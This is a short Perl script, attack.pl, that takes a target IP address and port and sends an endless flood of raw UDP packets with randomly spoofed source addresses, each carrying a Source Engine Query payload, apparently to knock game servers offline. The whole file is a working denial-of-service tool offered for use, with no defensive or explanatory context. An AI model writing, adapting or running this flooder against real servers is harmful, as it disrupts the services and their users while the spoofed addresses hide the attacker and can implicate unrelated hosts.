#!/usr/bin/perl
use Socket;
use Net::RawIP;

if ($#ARGV != 1) {
  print "Usage: attack.pl <ip> <port>\n\n";
  exit(1);
}
my ($ip,$port) = @ARGV;
my ($saddr, $rsport, $packet);

print "Attacking $ip on port $port\nBreak with Ctrl-C\n";
while(1) {
  $saddr = join(".", map int rand 256, 1..4);
  $rsport = int rand(65535);

  $packet = Net::RawIP->new({
                        ip => {
							  saddr => $saddr,
                              daddr => $ip,
							},

                        udp => {
                              source => $rsport,
                              dest => $port,
                              data => "\xFF\xFF\xFFTSource Engine Query\x00",
                              },
                        });
  $packet->send;
}